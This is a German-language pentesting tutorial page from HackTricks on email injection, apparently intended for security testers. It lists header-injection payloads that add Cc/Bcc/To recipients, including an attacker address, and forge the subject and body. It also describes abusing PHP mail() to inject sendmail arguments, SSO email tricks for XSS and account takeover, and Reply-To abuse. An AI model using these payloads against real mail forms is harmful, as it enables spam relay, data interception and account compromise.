hacktricks/pentesting-web/email-injections.md

10 KiB

E-Mail-Injektionen


Verwenden Sie Trickest, um mühelos Workflows zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.
Heute Zugriff erhalten:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Injizieren in gesendete E-Mail

Cc und Bcc nach dem Absenderargument einfügen

From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com

Die Nachricht wird an die Empfänger- und Empfänger1-Konten gesendet.

Injiziere Argument

From:sender@domain.com%0ATo:attacker@domain.com

Injizieren des Betreffarguments

Die Nachricht wird an den ursprünglichen Empfänger und das Konto des Angreifers gesendet.

From:sender@domain.com%0ASubject:This is%20Fake%20Subject

Ändern Sie den Nachrichtentext

Fügen Sie einen Zeilenumbruch ein und schreiben Sie Ihre Nachricht, um den Nachrichtentext zu ändern.

From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.

Ausnutzung der PHP mail() Funktion

# The function has the following definition:

php --rf mail

Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}

Der 5. Parameter ($additional_parameters)

Dieser Abschnitt basiert darauf, wie man diesen Parameter missbrauchen kann, wenn ein Angreifer ihn kontrolliert.

Dieser Parameter wird der Befehlszeile hinzugefügt, die PHP verwenden wird, um das Binärprogramm sendmail aufzurufen. Er wird jedoch mit der Funktion escapeshellcmd($additional_parameters) bereinigt.

Ein Angreifer kann in diesem Fall zusätzliche Parameter für sendmail einschleusen.

Unterschiede in der Implementierung von /usr/sbin/sendmail

Die sendmail-Schnittstelle wird von der MTA-E-Mail-Software (Sendmail, Postfix, Exim usw.) bereitgestellt, die auf dem System installiert ist. Obwohl die grundlegende Funktionalität (wie z. B. -t -i -f-Parameter) aus Gründen der Kompatibilität gleich bleibt, variieren andere Funktionen und Parameter je nach installierter MTA erheblich.

Hier sind einige Beispiele für verschiedene Handbuchseiten des sendmail-Befehls/der Schnittstelle:

Je nach Herkunft des sendmail-Binärprogramms wurden verschiedene Optionen entdeckt, um sie zu missbrauchen und Dateien auszulesen oder sogar beliebige Befehle auszuführen. Überprüfen Sie, wie dies unter https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html erfolgen kann.

Einschleusen in den E-Mail-Namen

Ignorierte Teile einer E-Mail

Die Symbole: +, - und {} können in seltenen Fällen für Markierungen verwendet und von den meisten E-Mail-Servern ignoriert werden

Kommentare zwischen Klammern () am Anfang oder am Ende werden ebenfalls ignoriert

Whitelist-Umgehung

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Anführungszeichen

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

IPs

Sie können auch IPs als Domainnamen zwischen eckigen Klammern verwenden:

  • john.doe@[127.0.0.1]
  • john.doe@[IPv6:2001:db8::1]

Andere Schwachstellen

https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0

Drittanbieter-SSO

XSS

Einige Dienste wie github oder salesforce erlauben es Ihnen, eine E-Mail-Adresse mit XSS-Payloads zu erstellen. Wenn Sie diese Anbieter verwenden können, um sich bei anderen Diensten anzumelden, und diese Dienste die E-Mail nicht korrekt säubern, könnten Sie XSS verursachen.

Account-Übernahme

Wenn ein SSO-Dienst es Ihnen erlaubt, ein Konto ohne Überprüfung der angegebenen E-Mail-Adresse zu erstellen (wie salesforce) und Sie dann dieses Konto verwenden können, um sich bei einem anderen Dienst anzumelden, der salesforce vertraut, könnten Sie auf jedes Konto zugreifen.
Beachten Sie, dass salesforce angibt, ob die angegebene E-Mail-Adresse verifiziert wurde oder nicht, sodass die Anwendung diese Information berücksichtigen sollte.

Antwort an

Sie können eine E-Mail senden mit Von: unternehmen.com und Antwort an: angreifer.com und wenn eine automatische Antwort gesendet wird, weil die E-Mail von einer internen Adresse gesendet wurde, könnte der Angreifer diese Antwort erhalten.

Harte Bounce-Rate

Bestimmte Dienste wie AWS implementieren eine Schwelle, die als Harte Bounce-Rate bekannt ist, die in der Regel auf 10% festgelegt ist. Dies ist eine wichtige Metrik, insbesondere für E-Mail-Zustelldienste. Wenn diese Rate überschritten wird, kann der Dienst, wie z. B. der E-Mail-Dienst von AWS, gesperrt oder blockiert werden.

Ein harter Bounce bezieht sich auf eine E-Mail, die an den Absender zurückgesendet wurde, weil die E-Mail-Adresse des Empfängers ungültig oder nicht vorhanden ist. Dies kann aus verschiedenen Gründen geschehen, z. B. wenn die E-Mail an eine nicht existierende Adresse gesendet wird, an eine nicht real existierende Domain oder wenn der Server des Empfängers sich weigert, E-Mails zu akzeptieren.

Im Kontext von AWS bedeutet dies, dass wenn Sie 1000 E-Mails senden und 100 davon aufgrund von Gründen wie ungültigen Adressen oder Domains zu harten Bounces führen, dies eine harte Bounce-Rate von 10% bedeuten würde. Das Erreichen oder Überschreiten dieser Rate kann dazu führen, dass AWS SES (Simple Email Service) Ihre E-Mail-Sendeoptionen blockiert oder aussetzt.

Es ist entscheidend, eine niedrige harte Bounce-Rate aufrechtzuerhalten, um einen unterbrechungsfreien E-Mail-Dienst sicherzustellen und den Absender-Ruf zu wahren. Die Überwachung und Verwaltung der Qualität der E-Mail-Adressen in Ihren Mailinglisten kann erheblich dazu beitragen, dieses Ziel zu erreichen.

Für weitere ausführliche Informationen kann die offizielle Dokumentation von AWS zur Behandlung von Bounces und Beschwerden unter AWS SES Bounce Handling konsultiert werden.

Referenzen

Erlernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:


Verwenden Sie Trickest, um mithilfe der weltweit fortschrittlichsten Community-Tools einfach Workflows zu erstellen und zu automatisieren.
Erhalten Sie noch heute Zugriff:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}